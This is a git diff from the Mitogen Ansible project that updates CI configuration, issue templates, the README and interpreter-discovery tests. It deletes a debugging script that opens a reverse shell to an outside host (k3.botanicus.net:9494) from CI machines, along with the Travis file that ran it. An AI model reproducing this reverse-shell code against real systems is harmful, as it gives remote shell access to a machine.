commit
74e7bc2bf7
@ -1,36 +0,0 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Allow poking around Azure while the job is running.
|
||||
"""
|
||||
|
||||
import os
|
||||
import pty
|
||||
import socket
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
|
||||
|
||||
if os.fork():
|
||||
sys.exit(0)
|
||||
|
||||
|
||||
def try_once():
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect(("k3.botanicus.net", 9494))
|
||||
open('/tmp/interactive', 'w').close()
|
||||
|
||||
os.dup2(s.fileno(), 0)
|
||||
os.dup2(s.fileno(), 1)
|
||||
os.dup2(s.fileno(), 2)
|
||||
p = pty.spawn("/bin/sh")
|
||||
|
||||
|
||||
while True:
|
||||
try:
|
||||
try_once()
|
||||
except:
|
||||
time.sleep(5)
|
||||
continue
|
||||
|
@ -0,0 +1,33 @@
|
||||
---
|
||||
name: Mitogen 0.2.x bug report
|
||||
about: Report a bug in Mitogen 0.2.x (for Ansible 2.5, 2.6, 2.7, 2.8, or 2.9)
|
||||
title: ''
|
||||
labels: affects-0.2, bug
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
|
||||
Please drag-drop large logs as text file attachments.
|
||||
|
||||
Feel free to write an issue in your preferred format, however if in doubt, use
|
||||
the following checklist as a guide for what to include.
|
||||
|
||||
* Which version of Ansible are you running?
|
||||
* Is your version of Ansible patched in any way?
|
||||
* Are you running with any custom modules, or `module_utils` loaded?
|
||||
|
||||
* Have you tried the latest master version from Git?
|
||||
* Do you have some idea of what the underlying problem may be?
|
||||
https://mitogen.networkgenomics.com/ansible_detailed.html#common-problems has
|
||||
instructions to help figure out the likely cause and how to gather relevant
|
||||
logs.
|
||||
* Mention your host and target OS and versions
|
||||
* Mention your host and target Python versions
|
||||
* If reporting a performance issue, mention the number of targets and a rough
|
||||
description of your workload (lots of copies, lots of tiny file edits, etc.)
|
||||
* If reporting a crash or hang in Ansible, please rerun with -vvv and include
|
||||
200 lines of output around the point of the error, along with a full copy of
|
||||
any traceback or error text in the log. Beware "-vvv" may include secret
|
||||
data! Edit as necessary before posting.
|
||||
* If reporting any kind of problem with Ansible, please include the Ansible
|
||||
version along with output of "ansible-config dump --only-changed".
|
@ -1,3 +1,11 @@
|
||||
---
|
||||
name: Mitogen 0.3.x bug report
|
||||
about: Report a bug in Mitogen 0.3.x (for Ansible 2.10.x)
|
||||
title: ''
|
||||
labels: affects-0.3, bug
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
|
||||
Please drag-drop large logs as text file attachments.
|
||||
|
@ -1,84 +0,0 @@
|
||||
sudo: required
|
||||
dist: trusty
|
||||
|
||||
notifications:
|
||||
email: false
|
||||
irc: "chat.freenode.net#mitogen-builds"
|
||||
|
||||
language: python
|
||||
|
||||
branches:
|
||||
except:
|
||||
- docs-master
|
||||
|
||||
cache:
|
||||
- pip
|
||||
- directories:
|
||||
- /home/travis/virtualenv
|
||||
|
||||
install:
|
||||
- grep -Erl git-lfs\|couchdb /etc/apt | sudo xargs rm -v
|
||||
- .ci/${MODE}_install.py
|
||||
|
||||
script:
|
||||
- .ci/spawn_reverse_shell.py
|
||||
- .ci/${MODE}_tests.py
|
||||
|
||||
|
||||
# To avoid matrix explosion, just test against oldest->newest and
|
||||
# newest->oldest in various configuartions.
|
||||
|
||||
matrix:
|
||||
allow_failures:
|
||||
# Python 2.4 tests are still unreliable
|
||||
- language: c
|
||||
env: MODE=mitogen_py24 DISTRO=centos5
|
||||
|
||||
include:
|
||||
# Debops tests.
|
||||
# 2.8.3; 3.6 -> 2.7
|
||||
- python: "3.6"
|
||||
env: MODE=debops_common VER=2.8.3
|
||||
# 2.4.6.0; 2.7 -> 2.7
|
||||
- python: "2.7"
|
||||
env: MODE=debops_common VER=2.4.6.0
|
||||
|
||||
# Sanity check against vanilla Ansible. One job suffices.
|
||||
- python: "2.7"
|
||||
env: MODE=ansible VER=2.8.3 DISTROS=debian STRATEGY=linear
|
||||
|
||||
# ansible_mitogen tests.
|
||||
|
||||
# 2.8.3 -> {debian, centos6, centos7}
|
||||
- python: "3.6"
|
||||
env: MODE=ansible VER=2.8.3
|
||||
# 2.8.3 -> {debian, centos6, centos7}
|
||||
- python: "2.7"
|
||||
env: MODE=ansible VER=2.8.3
|
||||
|
||||
# 2.4.6.0 -> {debian, centos6, centos7}
|
||||
- python: "3.6"
|
||||
env: MODE=ansible VER=2.4.6.0
|
||||
# 2.4.6.0 -> {debian, centos6, centos7}
|
||||
- python: "2.6"
|
||||
env: MODE=ansible VER=2.4.6.0
|
||||
|
||||
# 2.3 -> {centos5}
|
||||
- python: "2.6"
|
||||
env: MODE=ansible VER=2.3.3.0 DISTROS=centos5
|
||||
|
||||
# Mitogen tests.
|
||||
# 2.4 -> 2.4
|
||||
- language: c
|
||||
env: MODE=mitogen_py24 DISTRO=centos5
|
||||
# 2.7 -> 2.7 -- moved to Azure
|
||||
# 2.7 -> 2.6
|
||||
#- python: "2.7"
|
||||
#env: MODE=mitogen DISTRO=centos6
|
||||
# 2.6 -> 2.7
|
||||
- python: "2.6"
|
||||
env: MODE=mitogen DISTRO=centos7
|
||||
# 2.6 -> 3.5
|
||||
- python: "2.6"
|
||||
env: MODE=mitogen DISTRO=debian-py3
|
||||
# 3.6 -> 2.6 -- moved to Azure
|
@ -1,13 +1,9 @@
|
||||
|
||||
# Mitogen
|
||||
|
||||
<!-- [![Build Status](https://travis-ci.org/dw/mitogen.png?branch=master)](https://travis-ci.org/dw/mitogen}) -->
|
||||
<a href="https://mitogen.networkgenomics.com/">Please see the documentation</a>.
|
||||
|
||||
![](https://i.imgur.com/eBM6LhJ.gif)
|
||||
|
||||
[![Total alerts](https://img.shields.io/lgtm/alerts/g/dw/mitogen.svg?logo=lgtm&logoWidth=18)](https://lgtm.com/projects/g/dw/mitogen/alerts/)
|
||||
|
||||
[![Build Status](https://travis-ci.org/dw/mitogen.svg?branch=master)](https://travis-ci.org/dw/mitogen)
|
||||
[![Total alerts](https://img.shields.io/lgtm/alerts/g/mitogen-hq/mitogen.svg?logo=lgtm&logoWidth=18)](https://lgtm.com/projects/g/mitogen-hq/mitogen/alerts/)
|
||||
|
||||
[![Pipelines Status](https://dev.azure.com/dw-mitogen/Mitogen/_apis/build/status/dw.mitogen?branchName=master)](https://dev.azure.com/dw-mitogen/Mitogen/_build/latest?definitionId=1?branchName=master)
|
||||
[![Build Status](https://dev.azure.com/mitogen-hq/mitogen/_apis/build/status/mitogen-hq.mitogen?branchName=master)](https://dev.azure.com/mitogen-hq/mitogen/_build/latest?definitionId=1&branchName=master)
|
||||
|
@ -1,3 +1,4 @@
|
||||
- include: setup/all.yml
|
||||
- include: regression/all.yml
|
||||
- include: integration/all.yml
|
||||
|
||||
|
@ -1,12 +1,19 @@
|
||||
# Ensure paramiko connections aren't grabbed.
|
||||
---
|
||||
|
||||
- name: integration/connection_loader/paramiko_unblemished.yml
|
||||
hosts: test-targets
|
||||
any_errors_fatal: true
|
||||
tasks:
|
||||
- debug:
|
||||
msg: "skipped for now"
|
||||
- name: this is flaky -> https://github.com/dw/mitogen/issues/747
|
||||
block:
|
||||
- custom_python_detect_environment:
|
||||
connection: paramiko
|
||||
register: out
|
||||
|
||||
- assert:
|
||||
that: not out.mitogen_loaded
|
||||
fail_msg: out={{out}}
|
||||
when: False
|
||||
|
@ -0,0 +1,2 @@
|
||||
- include: complex_args.yml
|
||||
- include: ansible_2_8_tests.yml
|
@ -0,0 +1,166 @@
|
||||
# ripped and ported from https://github.com/ansible/ansible/pull/50163/files, when interpreter discovery was added to ansible
|
||||
---
|
||||
|
||||
- name: integration/interpreter_discovery/ansible_2_8_tests.yml
|
||||
hosts: test-targets
|
||||
any_errors_fatal: true
|
||||
gather_facts: true
|
||||
tasks:
|
||||
- name: can only run these tests on ansible >= 2.8.0
|
||||
block:
|
||||
- name: ensure we can override ansible_python_interpreter
|
||||
vars:
|
||||
ansible_python_interpreter: overriddenpython
|
||||
assert:
|
||||
that:
|
||||
- ansible_python_interpreter == 'overriddenpython'
|
||||
fail_msg: "'ansible_python_interpreter' appears to be set at a high precedence to {{ ansible_python_interpreter }},
|
||||
which breaks this test."
|
||||
|
||||
- name: snag some facts to validate for later
|
||||
set_fact:
|
||||
distro: '{{ ansible_distribution | default("unknown") | lower }}'
|
||||
distro_version: '{{ ansible_distribution_version | default("unknown") }}'
|
||||
os_family: '{{ ansible_os_family | default("unknown") }}'
|
||||
|
||||
- name: test that python discovery is working and that fact persistence makes it only run once
|
||||
block:
|
||||
- name: clear facts to force interpreter discovery to run
|
||||
meta: clear_facts
|
||||
|
||||
- name: trigger discovery with auto
|
||||
vars:
|
||||
ansible_python_interpreter: auto
|
||||
ping:
|
||||
register: auto_out
|
||||
|
||||
- name: get the interpreter being used on the target to execute modules
|
||||
vars:
|
||||
ansible_python_interpreter: auto
|
||||
test_echo_module:
|
||||
register: echoout
|
||||
|
||||
# can't test this assertion:
|
||||
# - echoout.ansible_facts is not defined or echoout.ansible_facts.discovered_interpreter_python is not defined
|
||||
# because Mitogen's ansible_python_interpreter is a connection-layer configurable that
|
||||
# "must be extracted during each task execution to form the complete connection-layer configuration".
|
||||
# Discovery won't be reran though; the ansible_python_interpreter is read from the cache if already discovered
|
||||
- assert:
|
||||
that:
|
||||
- auto_out.ansible_facts.discovered_interpreter_python is defined
|
||||
- echoout.running_python_interpreter == auto_out.ansible_facts.discovered_interpreter_python
|
||||
fail_msg: auto_out={{auto_out}} echoout={{echoout}}
|
||||
|
||||
|
||||
- name: test that auto_legacy gives a dep warning when /usr/bin/python present but != auto result
|
||||
block:
|
||||
- name: clear facts to force interpreter discovery to run
|
||||
meta: clear_facts
|
||||
|
||||
- name: trigger discovery with auto_legacy
|
||||
vars:
|
||||
ansible_python_interpreter: auto_legacy
|
||||
ping:
|
||||
register: legacy
|
||||
|
||||
- name: check for dep warning (only on platforms where auto result is not /usr/bin/python and legacy is)
|
||||
assert:
|
||||
that:
|
||||
- legacy.deprecations | default([]) | length > 0
|
||||
fail_msg: legacy={{legacy}}
|
||||
# only check for a dep warning if legacy returned /usr/bin/python and auto didn't
|
||||
when: legacy.ansible_facts.discovered_interpreter_python == '/usr/bin/python' and
|
||||
auto_out.ansible_facts.discovered_interpreter_python != '/usr/bin/python'
|
||||
|
||||
|
||||
- name: test that auto_silent never warns and got the same answer as auto
|
||||
block:
|
||||
- name: clear facts to force interpreter discovery to run
|
||||
meta: clear_facts
|
||||
|
||||
- name: initial task to trigger discovery
|
||||
vars:
|
||||
ansible_python_interpreter: auto_silent
|
||||
ping:
|
||||
register: auto_silent_out
|
||||
|
||||
- assert:
|
||||
that:
|
||||
- auto_silent_out.warnings is not defined
|
||||
- auto_silent_out.ansible_facts.discovered_interpreter_python == auto_out.ansible_facts.discovered_interpreter_python
|
||||
fail_msg: auto_silent_out={{auto_silent_out}}
|
||||
|
||||
|
||||
- name: test that auto_legacy_silent never warns and got the same answer as auto_legacy
|
||||
block:
|
||||
- name: clear facts to force interpreter discovery to run
|
||||
meta: clear_facts
|
||||
|
||||
- name: trigger discovery with auto_legacy_silent
|
||||
vars:
|
||||
ansible_python_interpreter: auto_legacy_silent
|
||||
ping:
|
||||
register: legacy_silent
|
||||
|
||||
- assert:
|
||||
that:
|
||||
- legacy_silent.warnings is not defined
|
||||
- legacy_silent.ansible_facts.discovered_interpreter_python == legacy.ansible_facts.discovered_interpreter_python
|
||||
fail_msg: legacy_silent={{legacy_silent}}
|
||||
|
||||
- name: ensure modules can't set discovered_interpreter_X or ansible_X_interpreter
|
||||
block:
|
||||
- test_echo_module:
|
||||
facts:
|
||||
ansible_discovered_interpreter_bogus: from module
|
||||
discovered_interpreter_bogus: from_module
|
||||
ansible_bogus_interpreter: from_module
|
||||
test_fact: from_module
|
||||
register: echoout
|
||||
|
||||
- assert:
|
||||
that:
|
||||
- test_fact == 'from_module'
|
||||
- discovered_interpreter_bogus | default('nope') == 'nope'
|
||||
- ansible_bogus_interpreter | default('nope') == 'nope'
|
||||
# this one will exist in facts, but with its prefix removed
|
||||
- ansible_facts['ansible_bogus_interpreter'] | default('nope') == 'nope'
|
||||
- ansible_facts['discovered_interpreter_bogus'] | default('nope') == 'nope'
|
||||
|
||||
- name: fedora assertions
|
||||
assert:
|
||||
that:
|
||||
- auto_out.ansible_facts.discovered_interpreter_python == '/usr/bin/python3'
|
||||
fail_msg: auto_out={{auto_out}}
|
||||
when: distro == 'fedora' and distro_version is version('23', '>=')
|
||||
|
||||
- name: rhel assertions
|
||||
assert:
|
||||
that:
|
||||
# rhel 6/7
|
||||
- (auto_out.ansible_facts.discovered_interpreter_python == '/usr/bin/python' and distro_version is version('8','<')) or distro_version is version('8','>=')
|
||||
# rhel 8+
|
||||
- (auto_out.ansible_facts.discovered_interpreter_python == '/usr/libexec/platform-python' and distro_version is version('8','>=')) or distro_version is version('8','<')
|
||||
fail_msg: auto_out={{auto_out}}
|
||||
when: distro in ('redhat', 'centos')
|
||||
|
||||
- name: ubuntu assertions
|
||||
assert:
|
||||
that:
|
||||
# ubuntu < 16
|
||||
- (auto_out.ansible_facts.discovered_interpreter_python == '/usr/bin/python' and distro_version is version('16.04','<')) or distro_version is version('16.04','>=')
|
||||
# ubuntu >= 16
|
||||
- (auto_out.ansible_facts.discovered_interpreter_python == '/usr/bin/python3' and distro_version is version('16.04','>=')) or distro_version is version('16.04','<')
|
||||
fail_msg: auto_out={{auto_out}}
|
||||
when: distro == 'ubuntu'
|
||||
|
||||
- name: mac assertions
|
||||
assert:
|
||||
that:
|
||||
- auto_out.ansible_facts.discovered_interpreter_python == '/usr/bin/python'
|
||||
fail_msg: auto_out={{auto_out}}
|
||||
when: os_family == 'Darwin'
|
||||
|
||||
always:
|
||||
- meta: clear_facts
|
||||
when: ansible_version.full is version_compare('2.8.0', '>=')
|
@ -0,0 +1,56 @@
|
||||
# checks complex ansible_python_interpreter values as well as jinja in the ansible_python_interpreter value
|
||||
---
|
||||
|
||||
- name: integration/interpreter_discovery/complex_args.yml
|
||||
hosts: test-targets
|
||||
any_errors_fatal: true
|
||||
gather_facts: true
|
||||
tasks:
|
||||
- name: create temp file to source
|
||||
file:
|
||||
path: /tmp/fake
|
||||
state: touch
|
||||
|
||||
# TODO: this works in Mac 10.15 because sh defaults to bash
|
||||
# but due to Mac SIP we can't write to /bin so we can't change
|
||||
# /bin/sh to point to /bin/bash
|
||||
# Mac 10.15 is failing python interpreter discovery tests from ansible 2.8.8
|
||||
# because Mac doesn't make default python /usr/bin/python anymore
|
||||
# so for now, can't use `source` since it's a bash builtin
|
||||
# - name: set python using sourced file
|
||||
# set_fact:
|
||||
# special_python: source /tmp/fake && python
|
||||
- name: set python using sourced file
|
||||
set_fact:
|
||||
special_python: source /tmp/fake || true && python
|
||||
|
||||
- name: run get_url with specially-sourced python
|
||||
get_url:
|
||||
url: https://google.com
|
||||
dest: "/tmp/"
|
||||
mode: 0644
|
||||
# this url is the build pic from mitogen's github site; some python versions require ssl stuff installed so will disable need to validate certs
|
||||
validate_certs: no
|
||||
vars:
|
||||
ansible_python_interpreter: "{{ special_python }}"
|
||||
environment:
|
||||
https_proxy: "{{ lookup('env', 'https_proxy')|default('') }}"
|
||||
no_proxy: "{{ lookup('env', 'no_proxy')|default('') }}"
|
||||
|
||||
- name: run get_url with specially-sourced python including jinja
|
||||
get_url:
|
||||
url: https://google.com
|
||||
dest: "/tmp/"
|
||||
mode: 0644
|
||||
# this url is the build pic from mitogen's github site; some python versions require ssl stuff installed so will disable need to validate certs
|
||||
validate_certs: no
|
||||
vars:
|
||||
ansible_python_interpreter: >
|
||||
{% if "1" == "1" %}
|
||||
{{ special_python }}
|
||||
{% else %}
|
||||
python
|
||||
{% endif %}
|
||||
environment:
|
||||
https_proxy: "{{ lookup('env', 'https_proxy')|default('') }}"
|
||||
no_proxy: "{{ lookup('env', 'no_proxy')|default('') }}"
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue